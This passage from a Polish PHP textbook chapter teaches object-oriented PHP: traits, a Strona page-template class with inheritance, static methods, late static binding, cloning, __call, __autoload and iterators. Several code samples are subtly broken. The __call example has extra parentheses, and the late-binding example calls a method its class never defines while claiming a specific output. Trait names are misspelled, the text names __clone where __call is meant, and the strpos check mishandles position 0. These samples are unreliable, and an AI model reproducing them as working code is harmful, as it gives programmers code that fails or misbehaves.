padku metoda wyswietl()), wygenerowany zostanie błąd krytyczny.

Cechy
Cechy (ang. traits) są mechanizmem pozwalającym na korzystanie z najlepszych cech dziedziczenia
wielokrotnego bez konieczności narażania się na wszystkie związane z nim problemy. Cecha
pozwala na grupowanie możliwości funkcjonalnych, które następnie mogą być wykorzystywane
w wielu klasach. Klasa może używać wielu cech, a same cechy mogą dziedziczyć po sobie. Cechy
stanowią zatem wspaniały zestaw elementów pozwalających na wielokrotne stosowanie kodu.
Podstawowa różnica pomiędzy interfejsami a cechami polega na tym, że cechy zawierają imple-
mentację, a interfejsy jedynie określają, co należy zaimplementować.
Rozdział 6.  Obiektowy PHP 181

Cechy tworzy się niemal identycznie jak klasy, jednak zamiast słowa kluczowego class należy
użyć słowa trait, jak pokazano w poniższym przykładzie:
trait dziennik
{
public function rejestrujkomunikat($tresc, $poziom='DEBUG')
{
// zapisuje $komunikat do dziennika
}
}

Tak zdefiniowaną cechę można zastosować w następujący sposób:


class magazynPlikowy
{
use dziennik;

function zachowaj($dane) {
// ...
$this->rejestrujkomunikat($msg);
}
}

Klasa magazynPlikowy mogłaby, w razie konieczności, przesłonić metodę rejestrujkomunikat()


poprzez jej ponowne zadeklarowanie. Trzeba jednocześnie zwrócić uwagę na to, że gdyby klasa
magazynPlikowy odziedziczyła metodę rejestrujkomunikat() po swojej klasie bazowej, to domyślnie
metoda ta zostałaby przesłonięta przez metodę zdefiniowaną w cesze. Oznacza to, że metody cech
przesłaniają metody dziedziczone, a metody zdefiniowane bezpośrednio w danej klasie przesłaniają
metody pochodzące z cech.
Jedną ze wspaniałych możliwości cech jest to, że w jednej klasie można zastosować ich dowolnie
wiele, a jeśli w kilku cechach będą dostępne metody o tej samej nazwie, to można jawnie określić,
z której cechy ma pochodzić wywoływana metoda. Oto przykład takiego rozwiązania:
<?php
trait dzinnikPlikowy
{
public function rejestrujkomunikat($message, $level='DEBUG')
{
// zapisuje $komunikat do dziennika
}
}

trait dziennikSystemowy
{
public function rejestrujkomunikat($message, $level='ERROR')
{
// zapisuje $komunikat do dziennika
}
}

class magazynPlikowy
{
use dzinnikPlikowy, dziennikSystemowy
{
dzinnikPlikowy::rejestrujkomunikat insteadof dziennikSystemowy;
dziennikSystemowy::rejestrujkomunikat as private rejestrujkomunikatsystemowy;
}

function store($data)
{
182 Część I  Stosowanie PHP

// ...
$this->rejestrujkomunikat($komunikat);
$this->logsysmessage($komunikat);
}
}
?>

W tym przykładzie zostały zastosowane dwie różne cechy służące do rejestrowania komuni-
katów — ich nazwy podano w klauzuli use. Ponieważ każda z nich implementuje metodę
rejestrujkomunikat(), konieczne jest określenie, której z nich należy użyć. W przeciwnym razie
PHP zgłosi błąd krytyczny, gdyż nie będzie w stanie rozwiązać tego konfliktu.
W celu określenia konkretnej metody, która ma być stosowana, należy użyć słowa kluczowego
insteadof w sposób przedstawiony w poniższym przykładzie:
dziennikPlikowy::rejestrujkomunikat insteadof dziennikSystemowy;

Ten wiersz kodu jawnie informuje PHP, że należy zastosować metodę rejestrujkomunikat()
zdefiniowaną w cesze dziennikPlikowy. Jednak w tym przykładzie konieczne jest także wywołanie
metody rejestrujkomunikat() zdefiniowanej w cesze dziennikSystemowy. W tym celu można
użyć słowa kluczowego as, aby zmienić nazwę metody; oto jak można to zrobić:
dziennikSystemowy::rejestrujkomunikat as private rejestrujkomunikatsystemowy;

Teraz ta metoda będzie dostępna jako rejestrujkomunikatsystemowy(). Należy zauważyć, że w tym


konkretnym przykładzie została zmieniona także widoczność tej metody. Choć takie postępowanie
nie jest wymagane, to jednak przedstawiono je tutaj, by Czytelnik wiedział o takiej możliwości.
Można nawet pójść o krok dalej i stworzyć cechę, która w całości składa się z innych cech. Innymi
słowy, dostępna jest możliwość prawdziwego, poziomego komponowania kodu. W tym celu należy
użyć instrukcji use wewnątrz cechy, tak samo jak używa się jej wewnątrz klas.

Projektowanie klas
Powyżej przedstawione zostały koncepcje obiektów i klas oraz składnia służąca do implemento-
wania ich w PHP. Teraz należy poznać sposoby tworzenia użytecznych klas.
Wiele klas w kodzie przedstawia klasy lub kategorie obiektów ze świata realnego. Przykładami klas,
które można zastosować w tworzeniu stron WWW, mogą być strony, składniki interfejsu użyt-
kownika, koszyki na zakupy, obsługa błędów, kategorie produktów lub klienci.

Obiekty w kodzie przedstawiają również specyficzne egzemplarze wymienionych powyżej klas,


np. strona główna, konkretny przycisk, wózek na zakupy używany przez Piotra Nowaka w danym
czasie. Sam Piotr Nowak może być reprezentowany przez obiekt typu klient. Każdy zakupiony
przez niego produkt może być przedstawiony jako należący do odpowiedniej kategorii bądź klasy.
W poprzednim rozdziale zastosowaliśmy proste pliki dołączane, aby nadać spójny wygląd stronom
WWW fikcyjnej firmy TLA Consulting. Korzystając z klas i oszczędzającej czas potęgi dziedzi-
czenia, można utworzyć bardziej zaawansowaną wersję tej samej strony.
Celem jest szybkie tworzenie stron dla TLA, które wyglądają i działają w ten sam sposób. Powinna
istnieć możliwość takiej modyfikacji tych stron, aby pasowały one do różnych części witryny.
Dla celów naszego przykładu wygenerowana zostanie klasa Strona, której głównym zadaniem jest
ograniczenie ilości HTML-a potrzebnej do utworzenia nowej strony. Powinna ona umożliwiać zmiany
części charakterystycznych dla poszczególnych stron i automatycznie generować elementy stałe.
Rozdział 6.  Obiektowy PHP 183

Klasa musi stanowić elastyczny szkielet, na podstawie którego będzie można tworzyć nowe strony
WWW, i który w żaden sposób nie będzie nas ograniczał.
Ponieważ strona generowana jest przez skrypt, a nie statyczny HTML, istnieje możliwość dodania
kilku „sprytnych” własności, które pozwolą na:
 zmianę elementów strony w jednym miejscu. Jeżeli zmodyfikowana zostanie informacja
o prawach autorskich lub dodany dodatkowy przycisk, wystarczy dokonać zmiany w jednym
miejscu.
 posiadanie domyślnej zawartości dla większości elementów strony, które jednak mogą
być modyfikowane zgodnie z potrzebami poprzez ustawianie wartości elementów, takich
jak tytuł i metaznaczniki.
 rozpoznawanie, która strona jest aktualnie wyświetlana, a także na odpowiednią zmianę
elementów nawigacyjnych — nie jest konieczne wyświetlanie przycisku „strona główna”
na stronie głównej.
 umożliwienie zamiany standardowych elementów poszczególnych stron. Jeżeli na przykład
w poszczególnych częściach witryny mają znajdować się różne przyciski nawigacyjne,
powinna istnieć możliwość zamiany przycisków standardowych.

Tworzenie kodu dla własnej klasy


Podjąwszy decyzje o wyglądzie strony i jej nowych własnościach, warto zadać pytanie, jak należy
je zaimplementować? W dalszej części książki zostaną przedstawione informacje na temat pro-
jektowania i zarządzania dużymi projektami. Poniżej znajduje się opis właściwości tworzenia
obiektowego PHP.
Klasa wymaga logicznej nazwy. Ponieważ reprezentuje stronę, zostanie nazwana Strona. Aby
zadeklarować klasę o nazwie Strona, należy napisać:
class Strona
{
}

Klasa wymaga pewnych atrybutów. Elementy, które mogą różnić się między pojedynczymi stro-
nami, zostaną zdefiniowane jako atrybuty klasy. Podstawowa zawartość strony, będąca kombi-
nacją znaczników HTML i tekstu, zostanie nazwana $zawartosc. Deklaruje się ją poprzez wpisanie
poniższego wiersza wewnątrz definicji klasy:
public $zawartosc;

Atrybuty mogą przechowywać również tytuł strony. Prawdopodobnie będzie on ulegał zmianie
w celu jasnego objaśnienia aktualnie wyświetlanej strony. Domyślny tytuł zostanie zdefiniowany
za pomocą poniższej deklaracji:
public $tytul = "TLA Consulting";

Większość komercyjnych stron WWW zawiera metaznaczniki, wspomagające ich indeksowanie


przez wyszukiwarki. Metaznaczniki, aby były użyteczne, powinny zmieniać się zależnie od strony.
Domyślna wartość również zostanie podana:
public $slowa_kluczowe = "TLA Consulting, Tutaj Lubią Atrybuty,
niektóre z moich najlepszych przyjaciółek to wyszukiwarki";

Przyciski nawigacyjne przedstawione na rysunku 5.2 (zobacz poprzedni rozdział) nie powinny
zmieniać się w zależności od strony w celu ułatwienia nawigacji użytkownikom. Aby można je
było łatwo zmieniać, również zostaną przechowane w atrybucie. Ponieważ liczba przycisków może
się zmieniać, zostaną one zachowane w tablicy łącznie z URL-ami, na które powinny wskazywać.
184 Część I  Stosowanie PHP

public $przyciski = array("Strona główna" => "glowna.php",


"Kontakt" => "kontakt.php",
"Usługi" => "uslugi.php",
"Mapa strony" => "mapa.php"
);

W celu nadania określonych możliwości funkcjonalnych klasa wymaga również operacji. Można
rozpocząć od utworzenia funkcji dostępowych, ustawiających i pobierających wartości zdefi-
niowanych atrybutów:
public function __set($nazwa, $wartosc)
{
$this->$nazwa = $wartosc;
}

Funkcja __set() nie zawiera mechanizmów sprawdzania błędów (dla prostoty), lecz w razie
potrzeby własność taką łatwo można dodać. Ponieważ raczej żadna z tych wartości nie będzie
wywoływana spoza klasy, można pominąć tworzenie funkcji __get(), jak zresztą uczyniono.

Głównym przeznaczeniem tej klasy jest wyświetlanie strony HTML, do czego konieczna jest
następująca funkcja, nazwana Wyswietl():
public function Wyswietl()
{
echo "<html>\n<head>\n";
$this -> WyswietlTytul();
$this -> WyswietlSlowaKluczowe();
$this -> WyswietlStyle();
echo "</head>\n<body>\n";
$this -> WyswietlNaglowek();
$this -> WyswietlMenu($this->przyciski);
echo $this->zawartosc;
$this -> WyswietlStopke();
echo "</body>\n</html>\n";
}

Funkcja ta zawiera kilka prostych instrukcji wyświetlających HTML, ale głównie składa się z od-
wołań do innych funkcji klasy. Jak można się domyślić na podstawie nazw tych funkcji, wy-
świetlają one poszczególne części strony.

Rozbijanie funkcji nie jest obowiązkowe. Wszystkie osobne funkcje mogły zostać połączone
w jedną, dużą. Zostały jednak rozdzielone z kilku powodów.

Każda funkcja powinna mieć zdefiniowane zadanie. Im ono prostsze, tym prostsze jest pisanie
i testowanie funkcji. Nie należy jednak przesadzić — rozbicie programu na zbyt wiele małych
fragmentów powoduje trudności w czytaniu go.

Stosując dziedziczenie, można przesłaniać operacje. Istnieje możliwość wymiany jednej dużej
funkcji Wyswietl(), lecz mało prawdopodobna jest chęć zmiany wyglądu całej strony. Znacznie
lepiej rozbić funkcję wyświetlającą na kilka mniejszych, kompletnych zadań i przesłonić tylko
te, które należy zmienić.

Funkcja Wyswietl() wywołuje WyswietlTytul(), WyswietlSlowaKluczowe(), WyswietlStyle(),


WyswietlNaglowek(), WyswietlMenu() i WyswieltStopke(). Oznacza to konieczność zdefiniowania
tych operacji. W takim właśnie logicznym porządku, to znaczy nawet przed kodem funkcji, można
wpisywać operacje i funkcje. W wielu innych językach należy napisać kod funkcji lub operacji,
zanim zostanie ona wywołana. Większość umieszczonych tu operacji jest prosta — wyświetla
jedynie fragmenty HTML-a lub zawartość atrybutów.
Rozdział 6.  Obiektowy PHP 185

Listing 6.1 przedstawia kompletną klasę, zapisaną jako strona.php, aby mogła być dołączona
do innych plików.

Listing 6.1. strona.inc — klasa Strona dostarcza łatwego i elastycznego sposobu tworzenia stron TLA
<?php
class Strona
{
// atrybuty klasy Strona
public $zawartosc;
public $tytul = "TLA CONSULTING";
public $slowa_kluczowe = "TLA Consulting, Tutaj Lubią Atrybuty,
niektóre z moich najlepszych przyjaciółek to wyszukiwarki";
public $przyciski = array("Strona główna" => "glowna.php",
"Kontakt" => "kontakt.php",
"Usługi" => "uslugi.php",
"Mapa strony" => "mapa.php"
);

// operacje klasy Strona


public function __set($nazwa, $wartosc)
{
$this->$nazwa = $wartosc;
}

public function Wyswietl()


{
echo "<html>\n<head>\n";
$this->WyswietlTytul();
$this->WyswietlSlowaKluczowe();
$this->WyswietlStyle();
echo "</head>\n<body>\n";
$this->WyswietlNaglowek();
$this->WyswietlMenu($this->przyciski);
echo $this->zawartosc;
$this->WyswietlStopke();
echo "</body>\n</html>\n";
}

public function WyswietlTytul()


{
echo "<title> $this->tytul </title>";
}

public function WyswietlSlowaKluczowe()


{
echo "<meta name=\"keywords\" content=\"".$this->slowa_kluczowe."\" />";
}

public function WyswietlStyle()


{
?>
<link href="style.css" type="text/css" rel="stylesheet">
<?php
}

public function WyswietlNaglowek()


{
?>
<!-- nagłówek strony -->
<header>
<img src="logo.gif" alt="TLA logo" height="70" width="70" />
186 Część I  Stosowanie PHP

<h1>TLA Consulting</h1>
</header>
<?php
}

public function WyswietlMenu($przyciski)


{
echo "<!-- menu -->
<nav>";

while (list($nazwa, $url) = each($przyciski)) {


$this->WyswietlPrzycisk($nazwa, $url,
!$this->CzyToAktualnyURL($url));
}
echo "</nav>\n";
}

public function CzyToAktualnyURL($url)


{
if(strpos($_SERVER['PHP_SELF'], $url)==false)
{
return false;
}
else
{
return true;
}
}

public function WyswietlPrzycisk($nazwa, $url, $active = true)


{
if ($active) { ?>
<div class="menuitem">
<a href="<?=$url?>">
<img src="m-logo.gif" alt="" height="20" width="20" />
<span class="menutext"><?=$nazwa?></span>
</a>
</div>
<?php
} else { ?>
<div class="menuitem">
<img src="boczne-logo.gif">
<span class="menutext"><?=$nazwa?></span>
</div>
<?php
}
}

public function WyswietlStopke()


{
?>
<!-- stopka strony -->
<footer>
<p>&copy; TLA Consulting<br />
Prosimy odwiedzić
<a href="prawne.php">stronę informacji prawnych</a>.</p>
</footer>
<?php
}
}
?>
Rozdział 6.  Obiektowy PHP 187

Podczas czytania kodu tej klasy należy zauważyć, że WyswietlStyle(), WyswietlNaglowek()


i WyswietlStopke() muszą wyświetlić duży blok statycznego HTML-u bez żadnego przetwarzania
PHP. Tak więc zastosowano znacznik kończący PHP (?>), a następnie wpisano HTML, po czym
został ponownie uruchomiony PHP za pomocą znacznika otwarcia PHP (<?), wciąż wewnątrz
funkcji.

W klasie zostały zdefiniowane dwie nowe operacje. Operacja WyswietlPrzycisk() wyświetla


pojedynczy przycisk menu. Jeżeli konkretny przycisk wskazuje aktywną stronę, wyświetla się
przycisk nieaktywny, który wygląda nieco inaczej i nie zawiera żadnego łącza. Utrzymuje to spój-
ność strony i pokazuje graficznie pozycję odwiedzającym.

Operacja CzyToAktualnyURL() określa, czy URL przycisku jest taki sam jak URL obecnej strony.
W celu sprawdzenia tej informacji można zastosować wiele różnych technik. W tym przypadku
została zastosowana funkcja strpos(), która sprawdza, czy podany URL jest zawarty w jednej
z ustawionych przez serwer zmiennych. Wywołanie strpos($_SERVER['PHP_SELF'], $url) zwróci
liczbę, jeżeli łańcuch $url znajduje się wewnątrz zmiennej superglobalnej $_SERVER['PHP_SELF'],
a w przeciwnym wypadku — false.

Aby zastosować tę klasę strony, należy dołączyć do skryptu plik strona.php i wywołać Wyswietl().

Kod przedstawiony na listingu 6.2 utworzy stronę główną TLA Consulting i wyświetli wynik
podobny do tego pokazanego na rysunku 5.2.

Listing 6.2. glowna.php — strona główna stosuje klasę Strona do wykonania większości pracy związanej
z generowaniem strony
<?php
require("strona.php");

$stronaglowna = new Strona();

$stronaglowna->zawartosc = "<!-- treść strony -->


<section>
<h2>Witamy na stronie TLA Consulting.</h2>
<p>Prosimy, aby poświęcili nam Państwo trochę czasu i poznali
nas.</p>
<p>Specjalizujemy się w zaspokajaniu potrzeb biznesowych
i mamy nadzieję na współpracę.</p>
</section>";
$stronaglowna->Wyswietl();
?>

Kod zawarty w listingu 6.2 wykonuje następujące działania:


1. Stosuje require do dołączenia zawartości pliku strona.php, który zawiera definicję klasy
Strona.
2. Tworzy egzemplarz klasy Strona o nazwie $stronaglowna.
3. Ustawia zawartość złożoną z tekstu i znaczników HTML, która ma pojawić się na stronie
WWW. (W trakcie tej operacji niejawnie wywoływana jest metoda __set()).
4. Wywołuje operacje Wyswietl() wewnątrz obiektu $stronaglowna, co powoduje wyświetlenie
strony w okienku przeglądarki użytkownika.

Listing 6.2 pokazuje, że utworzenie nowych stron przy użyciu klasy Strona wymaga niewielkiego
nakładu pracy. Stosowanie klasy gwarantuje podobny wygląd wszystkich stworzonych za jej
pomocą stron.
188 Część I  Stosowanie PHP

Jeżeli niektóre części strony powinny być wariantem strony standardowej, można po prostu skopio-
wać plik strona.php do nowego pliku strona2.php, po czym dokonać pewnych zmian. Oznacza to,
że przy każdej zmianie w pliku strona.php należy także dokonać modyfikacji w strona2.php.

Lepszym sposobem jest zastosowanie dziedziczenia. Polega on na utworzeniu nowej klasy, dziedzi-
czącej większość możliwości funkcjonalnych po Strona, ale przesłaniającej części, które powinny
być inne. Na przykład strona usług w TLA powinna zawierać drugi pasek nawigacyjny. Skrypt
przedstawiony na listingu 6.3 czyni to poprzez utworzenie nowej klasy o nazwie StronaUslug, która
dziedziczy po Strona. Utworzona została nowa tablica o nazwie $przyciski2, zawierająca przyciski
i łącza, które powinny znaleźć się w drugim rzędzie. Ponieważ klasa ta powinna działać prze-
ważnie tak jak poprzednia, przesłaniana jest jedynie zmieniona część — operacja Wyswietl().

Listing 6.3. uslugi.php — strona usług dziedziczy po klasie Strona, ale przesłania Wyswietl(),
aby zmienić wygląd
<?php
require ("strona.php");

class StronaUslug extends Strona


{
private $przyciski2 = array("Inżynieria" => "inzynieria.php",
"Zgodność ze standardami" => "standardy.php",
"Zasoby ludzkie" => "zasoby.php",
"Dobór celów" => "cele.php"
);
public function Wyswietl()
{
echo "<html>\n<head>\n";
$this->WyswietlTytul();
$this->WyswietlSlowaKluczowe();
$this->WyswietlStyle();
echo "</head>\n<body>\n";
$this->WyswietlNaglowek();
$this->WyswietlMenu($this->przyciski);
$this->WyswietlMenu($this->przyciski2);
echo $this->zawartosc;
$this->WyswietlStopke();
echo "</body>\n</html>\n";
}
}

$uslugi=new StronaUslug();
$uslugi->zawartosc="<p>Firma TLA Consulting oferuje kilka rodzajów usług.
Być może produktywność pracowników Państwa poprawiłaby się,
jeżeli Państwa firma zostałaby poddana inżynierii,
być może cały system potrzebuje właściwego doboru celów,
lub zmiany sposobu zarządzania zasobami ludzkimi.</p>";

$uslugi->Wyswietl();
?>

Przesłonięta metoda Wyswietl() jest bardzo podobna do pierwotnej, tyle że zawiera jeden dodatkowy
wiersz:
$this -> WyswietlMenu($this->przyciski2);

Wiersz ten wywołuje powtórnie metodę WyswietlMenu() i tworzy drugi pasek menu.

Na zewnątrz definicji funkcji utworzony zostaje egzemplarz klasy StronaUslug z wprowadzonymi


wartościami niezdefiniowanych domyślnie zmiennych, po czym następuje wywołanie Wyswietl().
Rozdział 6.  Obiektowy PHP 189

Jak przedstawiono na rysunku 6.2, utworzyliśmy nowy wariant strony standardowej. Musieliśmy
w tym celu napisać tylko te części kodu, które różniły się od strony standardowej.

Rysunek 6.2.
Strona usług
jest tworzona
przez zastosowanie
dziedziczenia w celu
ponownego użycia
jak najmniejszej
ilości kodu

Tworzenie stron za pomocą klas PHP posiada oczywiste zalety. Klasa wykonuje większość pracy
za programistę, który nie musi wkładać tyle wysiłku w tworzenie nowych stron — wszystkie
bowiem mogą być zaktualizowane w jednym miejscu poprzez proste zaktualizowanie klas. Stosując
dziedziczenie, można stworzyć różne wersje klas bez utraty powyższych zalet.

Jednak, jak można się domyślić, aby uzyskać te korzyści, trzeba ponieść pewne koszty. Tworze-
nie strony przez skrypt wymaga większej pracy procesora niż zwykłe załadowanie statycznej
strony HTML z dysku i wysłanie jej do przeglądarki. Jest to ważna wiadomość dla zatłoczonych
serwerów. W takich przypadkach poleca się mimo wszystko stosowanie statycznego kodu HTML
lub przechowywanie stron w pamięci podręcznej, aby zmniejszyć przeładowanie serwera.

Zaawansowane mechanizmy obiektowe w PHP


W kolejnych punktach przedstawione zostaną zaawansowane mechanizmy obiektowe PHP.

Używanie stałych klasowych


W PHP funkcjonuje pojęcie tak zwanych stałych klasowych. Stała taka może być używana bez
konieczności tworzenia egzemplarza klasy, jak w poniższym przykładzie:
<?php
class Matematyka {
const pi = 3.14159;
}
echo "Matematyka::pi = ".Matematyka::pi;
?>

Dostęp do stałej klasowej uzyskuje się przy użyciu operatora ::, wskazując klasę, do której należy
stała — jak w powyższym przykładzie.
190 Część I  Stosowanie PHP

Implementowanie metod statycznych


W PHP można używać również słowa kluczowego static. Przykłada się je do metod, aby pozwolić
na ich wywoływanie bez konieczności uprzedniego tworzenia ich egzemplarza. Metoda taka stanowi
odpowiednik stałej klasowej. Rozważmy na przykład klasę Matematyka utworzoną we wcześniej-
szym punkcie. Można by do niej dodać funkcję kwadrat() i wywołać ją bez konieczności tworzenia
egzemplarza klasy:
<?php
class Matematyka
{
static function kwadrat($wejscie)
{
return $wejscie*$wejscie;
}
}
echo Matematyka::kwadrat(8);
?>

Trzeba zaznaczyć, że słowa kluczowego static nie można używać wewnątrz metody statycznej,
ponieważ obiekt, do którego należy się odwołać może nie istnieć.

Sprawdzanie typu klasy i wskazywanie typu


Słowo kluczowe instanceof pozwala sprawdzać typ obiektu. Można przy jego użyciu sprawdzać,
czy obiekt jest egzemplarzem konkretnej klasy, czy dziedziczy on po klasie albo czy implemen-
tuje interfejs. Słowo kluczowe instanceof jest w praktyce operatorem warunkowym. Na przykład
w poprzednim przykładzie, w którym zaimplementowana została klasa B będąca potomkiem
klasy A:
($b instanceof B) miałoby wartość true.
($b instanceof A) miałoby wartość true.
($b instanceof Wyswietlane) miałoby wartość false.

We wszystkich tych przykładach założono, że A, B i Wyswietlane znajdują się w zasięgu bieżącym.


W przeciwnym razie zostałby wygenerowany błąd.
Dodatkowo w PHP funkcjonuje koncepcja wskazywania typu klasy. Zwykle gdy w PHP do funk-
cji przekazywany jest parametr, nie przekazuje się jego typu. Jednak używając wskazywania
typu można określić typ klasy, który powinien zostać przekazany, a jeżeli przekazana zostanie
wartość innego typu, wygenerowany zostanie błąd. Sprawdzanie typu jest odpowiednikiem słowa
kluczowego instanceof. Spójrzmy na przykład na poniższą funkcję:
function sprawdzenie_wskazania(B $jakasklasa)
{
//...
}

W przykładzie tym wskazano, że $jakasklasa powinna być egzemplarzem klasy B. Jeżeli wówczas
przekazany zostanie egzemplarz klasy A
sprawdzenie_wskazania($a)
wygenerowany zostanie następujący błąd krytyczny:
Fatal error: Argument 1 must be an instance of B

Zwróćmy jeszcze uwagę, że gdyby wskazano typ A i do funkcji przekazano egzemplarz klasy B,
błąd nie pojawiłby się, ponieważ B dziedziczy po A.
Rozdział 6.  Obiektowy PHP 191

Tego samego mechanizmu można używać w przypadku stosowania interfejsów, tablic oraz elemen-
tów wywoływalnych, czyli w przypadku przekazywania funkcji. Choć mechanizm ten działa w in-
terfejsach, to jednak nie można z niego korzystać w cechach.

Późne wiązania statyczne


W hierarchii dziedziczenia zawierającej wiele implementacji tej samej funkcji można skorzystać
z późnego wiązania statycznego, by ułatwić określanie klasy, której metodę należy wywołać.
Poniżej przedstawiony został prosty przykład, stworzony na podstawie dokumentacji PHP:
<?php
class A {
public static function kto() {
echo __CLASS__;
}
public static function test() {
self::ktoraklasa();
}
}

class B extends A {
public static function ktoraklasa() {
echo __CLASS__;
}
}

A::test();
B::test();
?>

Jakie są oczekiwane wyniki generowane przez ten skrypt? Zapewne dosyć zaskakujące będzie
odkrycie, że w efekcie wykonania powyższego skryptu dwa razy zostanie wyświetlona litera A.
Wynika to z tego, że choć klasa B przesłania metodę ktoraklasa() klasy A, to jednak wywo-
łanie metody test() na rzecz klasy B spowoduje, że będzie ona wykonana w kontekście klasy A.
A w jaki sposób można sprawić, żeby metoda test() wywołała implementację metody ktoraklasa()
zdefiniowaną w klasie B, czyli implementację dostępną w obecnie używanej klasie?

Otóż można to zrobić, korzystając z późnego wiązania statycznego. W powyższym przykładzie,


gdyby wiersz kodu:
self::ktoraklasa();

został zmieniony na:


static::ktoraklasa();

wykonanie skryptu spowodowałoby wyświetlenie najpierw litery A, a następnie B. W tym przypadku


zastosowanie modyfikatora static nakazuje PHP użyć tej klasy, która faktycznie została wywołana
w trakcie wykonywania programu i stąd określenie „późne wiązanie”.

Klonowanie obiektów
PHP zawiera słowo kluczowe clone, dzięki któremu można skopiować istniejący obiekt. Na przy-
kład polecenie:
$c = clone $b;

spowodowałoby utworzenie kopii obiektu $b tej samej klasy i z tymi samymi wartościami atrybutów.
192 Część I  Stosowanie PHP

Zachowanie to również można zmienić. Jeżeli clone powinno wykonywać działania inne od
domyślnego, należy w tym celu w klasie bazowej napisać metodę o nazwie __clone(). Metoda
ta przypomina konstruktor i destruktor, ponieważ jej również nie wywołuje się bezpośrednio. Jest
ona wywoływana w momencie, gdy użyte zostaje słowo kluczowe clone w sposób przedstawiony
powyżej. Wewnątrz metody __clone() można zdefiniować taką operację kopiowania, jaka jest
rzeczywiście potrzebna.

Wygodną rzeczą związaną z metodą __clone() jest to, że jest ona wywoływana dopiero po utwo-
rzeniu dokładnej kopii obiektu przy użyciu mechanizmu domyślnego. W tym momencie wystarczy
więc zmieniać tylko te elementy, które rzeczywiście wymagają zmian.

Najpopularniejszą możliwością funkcjonalną dodawaną do metody __clone() jest zagwarantowanie,


że atrybuty klasy udostępniane przez odwołanie zostaną skopiowane prawidłowo. Jeżeli sklono-
wana zostanie klasa zawierająca odwołanie do obiektu, można oczekiwać, że uzyskana zostanie
druga kopia tego obiektu, a nie drugie odwołanie do niego, zatem warto by odpowiedni kod
dodać do metody __clone().

Można również nic nie zmieniać, a jedynie dodać jakieś dodatkowe czynności, na przykład uaktu-
alnianie w używanej bazie danych rekordu powiązanego z klasą.

Używanie klas abstrakcyjnych


PHP udostępnia klasy abstrakcyjne, których nie można egzemplarzować, a także metody abstrak-
cyjne, definiujące jedynie sygnaturę metody bez jej implementacji. Na przykład:
abstract operacjaX($param1, $param2);

Każda klasa, która zawiera metody abstrakcyjne, sama musi być abstrakcyjna, co widać na poniż-
szym przykładzie:
abstract class A
{
abstract function operacjaX($param1, $param2);
}

Można także deklarować klasy abstrakcyjne, które nie będą zawierać żadnych abstrakcyjnych metod.

Metod i klas abstrakcyjnych używa się najczęściej w złożonych hierarchiach klas, w których
trzeba zapewnić, że każda klasa potomna będzie zawierać i przesłaniać konkretne metody. Ten
sam efekt można również osiągnąć przy użyciu interfejsów.

Przeciążanie metod przy użyciu __call()


Dotychczas zajmowaliśmy się szeregiem metod o specjalnym znaczeniu, których nazwy rozpoczy-
nały się podwójnym znakiem podkreślenia (__), na przykład __get(), __set(), __construct()
i __destruct(). Kolejną tego typu metodą jest __call(), używana w PHP do implementowania
mechanizmu przeciążania metod.

Przeciążanie metod jest standardowym mechanizmem wielu języków zorientowanych obiektowo,


lecz w PHP nie jest aż tak użyteczny, ponieważ w języku tym zamiast niego można używać elastycz-
nych typów danych oraz (łatwych do zaimplementowania) opcjonalnych parametrów funkcji.

Aby móc używać przeciążania, należy zaimplementować metodę __call(), jak w poniższym
przykładzie:
Rozdział 6.  Obiektowy PHP 193

public function __call($metoda, $p)


{
if ($metoda == "wyswietl") {
if (is_object($p[0])) {
$this->wyswietlObiekt($p[0]));
} else if (is_array($p[0])) {
$this->wyswietlTablice($p[0]));
} else {
$this->wyswietlSkalar($p[0]));
}
}
}

Metoda __call() powinna przyjmować dwa parametry. Pierwszy musi zawierać nazwę wywoły-
wanej metody, natomiast drugi tablicę parametrów przekazywanych do tej metody. Można wówczas
samodzielnie decydować, która metoda powinna zostać wywołana. W naszym przykładzie jeśli do
metody wyswietl() przekazywany jest obiekt, wywołana zostanie metoda wyswietlObiekt(); jeżeli
przekazana zostanie tablica, nastąpi wywołanie metody wyswietlTablice(); natomiast jeśli prze-
kazana zostanie wartość innego rodzaju, wywołana będzie metoda wyswietlSkalar().

Aby wywołać ten kod, należy najpierw utworzyć egzemplarz klasy zawierającej metodę __clone()
(nazwijmy ją przeciazanie), po czym wywołać metodę wyswietl(), jak w poniższym przykładzie:
$pr = new przeciazanie;
$pr->wyswietl(array(1, 2, 3));
$pr->wyswietl('kot');

Pierwsze wywołanie wyswietl() spowoduje wykonanie metody wyswietlTablice(), natomiast


drugie — metody wyswietlSkalar().

Zwróćmy uwagę, że aby ten kod zadziałał, nie trzeba implementować metody wyswietl().

W PHP 5.3 została wprowadzona podobna magiczna metoda, o nazwie __callStatic(). Działa ona
podobnie jak __call(), lecz jest wywoływana w momencie, gdy niedostępna metoda zostanie
wywołana w kontekście statycznym, na przykład:
przeciazanie::wyswietl();

Używanie metody __autoload()


Kolejną funkcją specjalną jest __autoload(). Nie jest to metoda klasy, lecz samodzielna funkcja,
to znaczy deklaruje się ją poza wszelkimi deklaracjami klas. Po zaimplementowaniu tej metody
będzie ona wywoływana automatycznie w momencie, gdy nastąpi próba utworzenia egzemplarza
klasy, która nie została zadeklarowana.

Główną rolą __autoload() jest podjęcie próby dołączenia funkcją include() lub require() plików
niezbędnych do utworzenia wymaganej klasy. Rozważmy następujący przykład:
function __autoload($nazwa)
{
include_once $nazwa.".php";
}

Tak skonstruowany kod podejmie próbę dołączenia pliku o takiej samej nazwie jak nazwa klasy.
194 Część I  Stosowanie PHP

Implementowanie iteratorów i iteracji


Niezwykle interesującą własnością modułu zorientowanego obiektowo w PHP jest możliwość
użycia pętli foreach() w celu przeprowadzenia iteracji przez atrybuty obiektu tak, jakby był on
tablicą. Oto odpowiedni przykład:
class mojaKlasa
{
public $a = "5";
public $b = "7";
public $c = "9";
}
$x = new mojaKlasa;
foreach ($x as $atrybut) {
echo $atrybut."<br />";
}

Jeżeli wymagany jest mechanizm bardziej wyrafinowany niż prezentowany powyżej, można zaim-
plementować tak zwany iterator. W tym celu klasa, która ma podlegać iteracji, powinna implemen-
tować interfejs IteratorAggregate i zawierać metodę o nazwie getIterator(), zwracającą eg-
zemplarz klasy iteratora. Klasa ta z kolei musi implementować interfejs Iterator, posiadający
zestaw metod koniecznych do zaimplementowania. Przykładową klasę i iterator przedstawiono
na listingu 6.4.

Listing 6.4. iterator.php — przykładowa klasa bazowa oraz klasa iteratora


<?php
class IteratorObiektu implements Iterator {

private $ob;
private $ile;
private $biezacyIndeks;

function __construct($ob)
{
$this->ob = $ob;
$this->ile = count($this->ob->dane);
}
function rewind()
{
$this->biezacyIndeks = 0;
}
function valid()
{
return $this->biezacyIndeks < $this->ile;
}
function key()
{
